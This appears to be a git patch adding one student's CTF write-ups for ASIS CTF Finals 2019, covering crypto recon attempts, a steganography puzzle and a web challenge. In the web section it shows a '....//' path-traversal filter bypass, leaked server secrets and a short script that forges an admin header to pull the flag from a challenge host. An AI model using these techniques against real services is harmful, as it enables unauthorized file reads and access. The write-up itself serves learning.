From d571cd7d4624f59f4a428ac14175a7faced8891a Mon Sep 17 00:00:00 2001 From: sztkp Date: Sun, 19 Jan 2020 21:36:51 +0100 Subject: [PATCH] ilm0 - first deadline writeup submission --- writeups/ilm0/asis.md | 794 +++++++++++++++++++++++++++++ writeups/ilm0/ctf_zone/pdf.png | Bin 0 -> 34594 bytes writeups/ilm0/ctfzone.md | 285 +++++++++++ writeups/ilm0/hack_lu.md | 538 +++++++++++++++++++ writeups/ilm0/hack_lu/lamport.png | Bin 0 -> 47676 bytes writeups/ilm0/readme.md | 64 +++ writeups/ilm0/seccon.md | 344 +++++++++++++ writeups/ilm0/seccon/aes_ecb.png | Bin 0 -> 8095 bytes writeups/ilm0/seccon/key.png | Bin 0 -> 1619 bytes writeups/ilm0/seccon/sandstorm.png | Bin 0 -> 63515 bytes 10 files changed, 2025 insertions(+) create mode 100644 writeups/ilm0/asis.md create mode 100644 writeups/ilm0/ctf_zone/pdf.png create mode 100644 writeups/ilm0/ctfzone.md create mode 100644 writeups/ilm0/hack_lu.md create mode 100644 writeups/ilm0/hack_lu/lamport.png create mode 100644 writeups/ilm0/readme.md create mode 100644 writeups/ilm0/seccon.md create mode 100644 writeups/ilm0/seccon/aes_ecb.png create mode 100644 writeups/ilm0/seccon/key.png create mode 100644 writeups/ilm0/seccon/sandstorm.png diff --git a/writeups/ilm0/asis.md b/writeups/ilm0/asis.md new file mode 100644 index 0000000..a2666b4 --- /dev/null +++ b/writeups/ilm0/asis.md @@ -0,0 +1,794 @@ +# ASIS CTF Finals 2019 + + + +## Serifin + +**type:** crypto + +**description:** + +A sincere gift for cryptographers, enjoy solving it! + +___ + +#### Recon + +We are provided with a code and output. Let's inspect the code! + +The name "Serifin" does not lead anywhere, it seems to be only a very unusual/made up name. + + + +**serifin.py** + +```python +from Crypto.Util.number import * +from flag import flag +import gmpy2 + +def serifin(a, l): + S, s = a, a + while True: + S += float(a)/float(l) + if S - s < .0001: + return int(S) + 1 + else: + s, a = S, float(a)/float(l) + +def genPrime(nbit): + while True: + p = getPrime(512) + if p % 9 == 1 and p % 27 >= 2: + q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27)) + if q % 9 == 1 and q % 27 >= 2: + return int(p), int(q) + +def encrypt(m, n): + m = bytes_to_long(m) + assert m < n + return pow(m, 3, n) + +nbit = 512 +p, q = genPrime(nbit) +n = p * q +c = encrypt(flag, n) + +print 'c =', c +print 'n =', n +``` + +We are presented with an unsual crypto scheme. The way the keys are generated seems funky, there might be a vulnerability. Running the code takes a few seconds, there must be some intensive calculations taking place! + + + +```python +def genPrime(nbit): + while True: + p = getPrime(512) + if p % 9 == 1 and p % 27 >= 2: + q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27)) + if q % 9 == 1 and q % 27 >= 2: + return int(p), int(q) +``` + +An 512 bit long prime number is generated, which is in residue class 2 of 9 and a residue class greater than 1 of 27. Then the first consecutive prime number is returned after the sum `serifin(p, 3) + serifin(p, 9) + serifin(p, 27)`, this sum should also fulfill the same residue class condition. + + + +```python +def serifin(a, l): + S, s = a, a + while True: + S += float(a)/float(l) + if S - s < .0001: + return int(S) + 1 + else: + s, a = S, float(a)/float(l) +``` + +This functions first parameter is always a prime number satisfying the residue class condition, the second parameters are either 3, 9 or 27. A first observation is that the function always returns a number relatively close to the first parameter, the larger the second parameter the closer it is. This seems to be due to the fact that the function "pumps up" the original prime, in each step increasing it with ratio of this difference to the second parameter. + + + +For example the function call serifin(999331 ,27) results in the following steps: + +> S: 999331 +> s: 999331 +> DIFF: 37012.25925925926 # 999331/27 +> +> S: 1036343.2592592592 +> s: 1036343.2592592592 +> DIFF: 1370.8244170096023 # 37012/27 +> +> S: 1037714.0836762688 +> s: 1037714.0836762688 +> DIFF: 50.771274704059344 # 1370/27 +> +> S: 1037764.8549509728 +> s: 1037764.8549509728 +> DIFF: 1.8804175816318276 +> +> S: 1037766.7353685545 +> s: 1037766.7353685545 +> DIFF: 0.06964509561599362 +> +> S: 1037766.8050136501 +> s: 1037766.8050136501 +> DIFF: 0.0025794479857775415 +> +> S: 1037766.807593098 +> s: 1037766.807593098 +> DIFF: 9.553511058435339e-05 + +The function goes on until this difference gets below 0.0001 + +This seems to be similar to how a convergent series behaves. I tried finding some integral expression to be able to generate the values of serifin, but I did not succeed. + + + +#### Technical background + +CTFtime tagged this even with "coppersmith", let's look into what that means: + +> The most powerful attacks on low public exponent RSA are based on a Copper-smith theorem. + +[https://www.utc.edu/center-academic-excellence-cyber-defense/pdfs/course-paper-5600-rsa.pdf] + +> Particular applications of the Coppersmith method for attacking RSA include cases when the public exponent *e* is small or when partial knowledge of the secret key is available. + +[https://en.wikipedia.org/wiki/Coppersmith%27s_attack] + +This hinted attack seems to be based on the fact that the public exponent, in this case the second parameter of serifin is always low 3, 9 or 27. Usually larger numbers such as 65537 are used. + +> There is no known attack against small public exponents such as *e* = 3, provided that the proper padding is used. Coppersmith's Attack has many applications in attacking RSA specifically if the public exponent *e* is small and if the encrypted message is short and not padded. 65537 is a commonly used value for *e*; this value can be regarded as a compromise between avoiding potential small exponent attacks and still allowing efficient encryptions (or signature verification). + +[https://en.wikipedia.org/wiki/RSA_(cryptosystem)] + +One needs to have a low public and imporper padding to be able to apply Coppersmith's attack. + +Still, with access to + +**output.txt**: + +``` +c = 78643169701772559588799235367819734778096402374604527417084323620408059019575192358078539818358733737255857476385895538384775148891045101302925145675409962992412316886938945993724412615232830803246511441681246452297825709122570818987869680882524715843237380910432586361889181947636507663665579725822511143923 +n = 420908150499931060459278096327098138187098413066337803068086719915371572799398579907099206882673150969295710355168269114763450250269978036896492091647087033643409285987088104286084134380067603342891743645230429893458468679597440933612118398950431574177624142313058494887351382310900902645184808573011083971351 +``` + +one would need to be able to factor n. + +#### Lessons learned + +1. Algebra and discrete mathematics is vitally important for crypto challenges +2. Coppersmith's attack + + + +## Primordial + +**type:** crypto + +**description:** + +To find out the secrets you will have a voyage through the primordial ocean! + +___ + +#### Recon + +We are provided with a program code and an output. + + + +**primordial_rsa.py** + +```python +import gmpy2 +from Crypto.Util.number import * +import random +from flag import flag + +def primorial(p): + q = 1 + s = 1 + while q < p: + r = gmpy2.next_prime(q) + if r <= p: + s *= r + q = r + else: + break + return s + +def gen_prime(nbit): + while True: + s = getPrime(36) + a = primorial(getPrime(random.randint(7, 9))) + b = primorial(getPrime(random.randint(2, 5))) + for r in range(10**3, 3*10**3, 2): + p = s * a // b - r + if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit: + return int(p) + +p, q = gen_prime(512), gen_prime(512) +e, n = 65537, p * q +flag = bytes_to_long(flag) +enc = pow(flag, e, n) +print 'n =', n +print 'enc =', enc +``` + +The name of the file reveals us, that it has something to do with the RSA crypto scheme. Two 512 bit long prime numbers are generated, the product of which are then used for encryption of the flag. The encryption seems to use a predefined prime (65537) as the exponent for the power function of python. +Common modulus attack? Unfortunately that would need two pieces of cyphertext... + +A closer look at python documentation: + +`pow(x, y, z)is equal to x^y % z` (This is the definition of RSA encryption.) + +which translates to (flag^65537) % (p * q) + +Again, the way how prime numbers are generated seems odd. Let's examine it! + +```python +def gen_prime(nbit): + while True: + s = getPrime(36) + a = primorial(getPrime(random.randint(7, 9))) + b = primorial(getPrime(random.randint(2, 5))) + for r in range(10**3, 3*10**3, 2): + p = s * a // b - r + if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit: + return int(p) +``` + +Thre "primish" numbers are generated first. The python function getPrime and the primorial function from the code is used: + +> getPrime(N, randfunc=None) +> getPrime(N:int, randfunc:callable):long Return a random N-bit prime number. + +Let's believe this functioned does what it's supposed to do, generates us a prime number of arbitrary length. + + + +Primorial seems a bit more mysterious at first glance: (The name of the function also reveals us important details about the way it functions, see TD) + +```python +def primorial(p): + q = 1 + s = 1 + while q < p: + r = gmpy2.next_prime(q) + if r <= p: + s *= r + q = r + else: + break + return s +``` + +This function seems to generate products of consecutive prime numbers, until they reach a given limit. This does not seem to be a very good idea, also very vulnerable to brute-force factorization. After a few runs of the function one thing becomes clear though, the primes get "pumped up" quite fast. + + + +```python + s = getPrime(36) + a = primorial(getPrime(random.randint(7, 9))) + b = primorial(getPrime(random.randint(2, 5))) +``` +The primorial function is always called with very small starting values, and only a small randomness, so it makes its output quite predictable. Brute-force? + + + +The first 36 bit number is a bit more random, but still what we have is 3 dodgy primes. To make the main loop more readable I got rid of expressions and made the precedence clearer with parentheses: + +```python +for r in range(1000, 3000, 2): + p = ((s * a) // b) - r + if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit: + return int(p) +``` + +The 3 generated low-randomness primes are gettin multiplied, then floor-divided and subtracted, There is no randomness involved in this function, a loop is simpy iterated 1000 times and when it has reached a given length then its binary representation is returned with the 2 MSBs removed. Now my thinking was completely directed at a brute-force attack. + +a, b and r are always known to us (we can generate all possible values): + +```python +import sympy +from itertools import product + +def get_all_nbit_primes(n): #USE ONLY WITH LOW N! + start = 0 + l=[] + p=sympy.nextprime(start) + p_len=p.bit_length() + + while(p_len <= n): + if(p_len == n): + l.append(p) + p=sympy.nextprime(p) + p_len=p.bit_length() + + return l + +def get_all_a(): + return get_all_nbit_primes(7) + get_all_nbit_primes(8) + get_all_nbit_primes(9); + +def get_all_b(): + return get_all_nbit_primes(2) + get_all_nbit_primes(3) + get_all_nbit_primes(4) + get_all_nbit_primes(5); + +def get_all_32bit_primes(): #VERY SLOW + start= 511111111 #heuristic 31bit prime limit + l=[] + p=sympy.nextprime(start) + p_len=p.bit_length() + + while(p_len<=32): + if(p_len==32): + l.append(p) + p=sympy.nextprime(p) + p_len=p.bit_length() + +def get_all_a_divided_b(a, b): + l=[] + products = list(product(a, b)) + + for p in products: + l.append(p[0] // p[1]) + + return l + + +a = get_all_a() +b = get_all_b() + +print(get_all_a_divided_b(a,b)) +``` + +I was able to enumerate all a and b values, and their dividend, but generating all 32 primes is computationally too intensive to be solved in reasonable time. I did not find any reliable solution to get access to all those numbers at once. + +Here I ran into a big barrier, the condition `if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit` seems harder to fulfill than I thought, even if a,b and r are known, them fulfilling this condition is not always given. + +After getting stuck I looked online for writeups, where they also managed to get all a//b values, but I later realised that this approach could not work, as in the expression `p = s * a // b - r` the operations '*' and '//' are not interchangeable. + +[https://github.com/p4-team/ctf/blob/master/2019-11-16-asis-finals/primordial/primordial_rsa.py] + +#### Technical background + +Primorial numbers: + +> A primorial is a product of consecutive prime numbers, starting with the first prime, namely 2. + +[https://oeis.org/wiki/Primorial] + +The special property of these numbers makes their factoring relatively easy, which is a serious security threat in an RSA implementation. + + + +## Secrets + +**type:** forensics + +**description:** + +An Album Full of Secrets is left for the most curious ones to reveal its secrets! + +___ + +#### Recon + +We are given an archive which contains a folder with various images of contemporary actors. There are 15 images, each are named after the depicted actor, nothing seems out of the ordinary, yet. The file details do not reveal anything out of the ordinary, the photos have different sizes. + +My first idea was to look at all the images with the steganography tools https://georgeom.net/StegOnline/upload and Stegsolve, but neither proved to be successful. I looked at the more detailed image data with exiftool but there was nothing unusual. + + + +The first revelations came after using the unix tool `strings`: + +almost all of the images contained an unusual string: "no SecDrive0", which is not part of the png specification. Also the image `rooney.png` included a base64 looking string at the end. + +``` +VGhlIHBhc3N3b3JkIGlzOiBhdGFsbWF0YWw= +``` + +Decrypting it gives an interesting result: "The password is: atalmatal" + +I tried interpreting it, maybe the images have some kind of encryption. I tried opening them with different software, but nothing worked. + +I also tried looking around the web for "atalmatal": it seems to be an Iranian children's song. This is not very helpful! + +I tried looking around for other base64 encoded strings, but I did not find anything. + +I looked at a writeup, apparently one needs the steganography software "albumfs" to be able to interpret the images. +[https://github.com/mgeitz/albumfs] +[https://github.com/p4-team/ctf/blob/master/2019-11-16-asis-finals/secrets/README.md] + +I could not recreate the way how the outhers could have found it, they write + +> after some extensive googling + +maybe it means some special proficiency in using google! + +They managed to get the flag after debugging and fixing a segfault in the software. + +#### Technical background + +AlbumFS is a steganography file system implementation: + +> Create, access, and modify a key encrypted LSB steganography filesystem in user space using a directory of PNG images. + +[https://github.com/mgeitz/albumfs] + +The LSB of each byte making up the images is modified, data is hidden there. That means that for our album of 11.6 MB, 1.45 MB worth of data can be hidden. + +Steganographic file systems seem to have been existing for a long time although not widely used, the most known being StegFS. It can hide data among random "gibberish" looking byte chunks. + +#### Lessons learned + +- Google skills are important! +- Steganography exists in a lot of applications + + + +## Bit game + +**type:** crypto + +**description:** + +A game for grown ups, just play with bits to find out the sought after secret. + +___ + +#### Recon + +We are provided with a python code and an output again. I started to notice a pattern here, as to how ASIS crypto challenges are built up. I am expecting some lousy key-generation function involving primes. + + + +**single_bits.py** + +```python +import random +from Crypto.Util.number import * +from flag import flag + +def gen_rand(nbit, l): + R = [] + while True: + r = random.randint(0, nbit-1) + if r not in R: + R.append(r) + if len(R) == l: + break + R.sort() + rbit = '1' + for i in range(l-1): + rbit += (R[i+1] - R[i] - 1) * '0' + '1' + rbit += (nbit - R[-1] - 1) * '0' + return int(rbit, 2) + +def genkey(p, l): + n = len(bin(p)[2:]) + f, skey = gen_rand(n, l), gen_rand(n, l) + pkey = f * inverse(skey, p) % p + return (p, pkey), skey + +def encrypt(msg, pkey): + p, g = pkey + msg, enc, n = bytes_to_long(msg), [], len(bin(p)[2:]) + for b in bin(msg)[2:]: + s, t = gen_rand(n, l), gen_rand(n, l) + c = (s * g + t) % p + if b == '0': + enc.append((c, t)) + else: + enc.append((p-c, t)) + return enc + +p = 862718293348820473429344482784628181556388621521298319395315527974911 +l = 5 + +pkey, skey = genkey(p, l) +enc = encrypt(flag, pkey) +H = pkey[1] ** 2 % p +print 'H =', H +print 'enc =', enc +``` + +Only what we expected, we have an unusual take on the RSA-scheme with an unusual way of generating keys. + + + +The first thing that stands out is the fact that there is a hard-coded very large prime included. + +`p = 862718293348820473429344482784628181556388621521298319395315527974911` + +A quick google search tells us its a Mersenne number (see TD), a number with a special quality, it can be written as 2^n-1, in this case n = 229, this might prove useful later. + +For a long time I was under the impression and trying to think out solutions based on the fact, that all Mersenne numbers are primes, but this proved to be false. p is not a prime! + +[https://www.mersenne.org/primes/] + +[https://www.wikidata.org/wiki/Q67211903] + +This will result in n being a constant number, it always equals to 229. + + + +Taking a closer look at the functions: + +```python +def gen_rand(nbit, l): + R = [] + while True: + r = random.randint(0, nbit-1) + if r not in R: + R.append(r) + if len(R) == l: + break + R.sort() + rbit = '1' + for i in range(l-1): + rbit += (R[i+1] - R[i] - 1) * '0' + '1' + rbit += (nbit - R[-1] - 1) * '0' + return int(rbit, 2) + +def genkey(p, l): + n = len(bin(p)[2:]) + f, skey = gen_rand(n, l), gen_rand(n, l) + pkey = (f * inverse(skey, p)) % p + return (p, pkey), skey +``` + +The definition of the inverse function from the Crypto.Util.number library: + +``` +inverse(u, v) + inverse(u:long, v:long):long Return the inverse of u mod v. +``` + +Two random numbers are generated, these are 2 bits shorter than the prime p. The inverse residue is multiplied with the first generated number and the modulo of restclass p is taken from their product. + +gen_rand does some very unusual bitwise operations with sorted congruents of the length. + +I tried factoring p with the sympy library, but it took too long, I think to be able to start off an efficient solution, one needs to be able to access the factors of p. + +#### Technical background + +Mersenne numbers: + +> Mersenne numbers are integers of the form Mn = 2^n-1 (many authors require that the exponent *n* be a prime. They are of interest because the Mersenne primes (prime Mersenne numbers) are among the oldest and most studied of all primes! + +[https://primes.utm.edu/glossary/page.php?sort=MersenneNumber] + +Mersenne numbers seem interesting, but their use in cryptography cannot be that extensive, as if they are recognized, their factoring becomes unambigous. + + + +## Protected area 1 + +**type:** web + +**description:** + +We have built an area protected by a hard password + +Note: DO NOT Brute force the server (the rate limit will ban you), the question may need an OFFLINE brute-force! + +___ + +#### Recon + solution + +We are given access to a website which includes a JS file: + +```js +var file_check = function(file){ + + $.ajax({ + url: '/check_perm/readable/', + data: {'file': file} + }).done(function(data){ + if (data == "True") { + file_read(file) + }else{ + console.log('fail') + } + }) +} + +var file_read = function(file){ + + $.ajax({ + url: '/read_file/', + data: {'file': file} + }).done(function(data){ + update_page(data) + }) + + return +} + +var update_page = function(text){ + $("#t").append(text) +} + +$(document).ready(function() { + console.log("ready!"); + + file_check('public.txt'); +}); +``` + +The file seems to be an AJAX interface connecting to a backend service. + +We are given the opportunity to open files, if they are present in the '/check_perm/readable/' folder. + +Two GET requests are made immediately after opening the webpage: + +``` +http://66.172.33.148:8008/check_perm/readable/?file=public.txt +http://66.172.33.148:8008/read_file/?file=public.txt +``` + +This gives us an idea how the basic structure of the website is built up, two folders, '/check_perm/readable' and '/read_file'. We easily recognize that these requests result from the function call `file_check('public.txt');` which firsts checks if the file is readable, then presents us the results. + +The logical thing was to try some form of directory traversal, but our `../` get filtered out. + +So, requests like: + +``` +http://66.172.33.148:8008/read_file/?file=../files/public.txt +``` + +do not work and result in an error. + +I felt stuck here, but in the mattermost channel I saw that others have worked on the challenge too and were trying to solve it, here someone advised to try to outwit the filtering. + +After some playing around and reading the chat: + +``` +http://66.172.33.148:8008/read_file/?file=....//files/public.txt +``` + +worked, and we get the same result, as when loading the webpage. + +The only remaining problem was being restricted to .txt files. I tried tricking the engine by sending requests like "public.x.txt" and "public.txt.txt" but I received security errors. My next idea was to try some kind of escape sequence, so that the solution does not get checked, but I could not find any viable way of implementing it. + +The breakthrough came when we recognized, that when sending extra parameters like: + +``` +file=....//files/public&extra_param?public.txt +``` + + only the extra_param got filtered! + +After reading out on the mattermost chat, I managed to get access to: + +**app.py**: + +```python +from flask import Flask + +def create_app(): + """Construct the core application.""" + app = Flask(__name__, instance_relative_config=False) + + with app.app_context(): + # Imports + from . import api return app +``` + +and **api.py**: + +```python +from flask import current_app as app +from flask import request, render_template, send_file +from .functions import * +from config import * +import os + +@app.route('/check_perm/readable/', methods=['GET']) +def app_check_file() -> str: + try: + file = request.args.get("file") + + file_path = os.path.normpath('application/files/{}'.format(file)) + with open(file_path, 'r') as f: + return str(f.readable()) + except: + return '0' + +@app.route('/read_file/', methods=['GET']) +def app_read_file() -> str: + + file = request.args.get("file").replace('../', '') + qs = request.query_string.decode('UTF-8') + + if qs.find('.txt') != (len(qs) - 4): + return 'security' + + try: + return send_file('files/{}'.format(file)) + except Exception as e: + return "500" + +@app.route('/protected_area_0098', methods=['GET']) +@check_login +def app_protected_area() -> str: + return Config.FLAG + +@app.route('/', methods=['GET']) +def app_index() -> str: + return render_template('index.html') + +@app.errorhandler(404) +def not_found_error(error) -> str: + return "Error 404" +``` + +We got to know, that the serves is running a Flask REST endpoint and that the flag rests in '/protected_area_0098', but this "area" has an additional layer of protection. Now we need to somehow get access to it! It also became revealed that a python file containing functions used and a config file is used. + +**config.py**: + +```python +import os + +class Config: + """Set Flask configuration vars from .env file.""" + + # general config + FLAG = os.environ.get('FLAG') + SECRET = "s3cr3t" + ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d" +``` + +**functions.py**: + +```python +from flask import request, abort +from functools import wraps +import traceback, os, hashlib +from config import * + +def check_login(f): + """ + Wraps routing functions that require a user to be logged in + """ + @wraps(f) + def wrapper(*args, **kwds): + try: + ah = request.headers.get('ah') + + if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf- 8")).hexdigest(): + return f(*args, **kwds) + else: + return abort(403) + + except: + return abort(403) + + return wrapper +``` + +The additional protection is an admin password, which we to calculate. And then send as an "ah" header field. Fortunately we have access to the hash and the secret. + +Armed with this information we can construct an exploit to get the flag! + +```python +import hashlib +import requests + +a_pass = hashlib.md5("b5ec168843f71c6f6c30808c78b9f55d" + "s3cr3t").hexdigest() +url = 'http://66.172.33.148:8008/protected_area_0098' +res = requests.get("http://66.172.33.148:8008/protected_area_0098", + headers={"ah" : a_pass}) + +print(res.text) +``` + +ASIS{f70a0203d638a0c90a490ad46a94e394} + +#### Lessons learned + +- Using the Kali tool DirBuster \ No newline at end of file diff --git a/writeups/ilm0/ctf_zone/pdf.png b/writeups/ilm0/ctf_zone/pdf.png new file mode 100644 index 0000000000000000000000000000000000000000..51356fd7db583a4c499c63441b5e66992e0794b5 GIT binary patch literal 34594 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 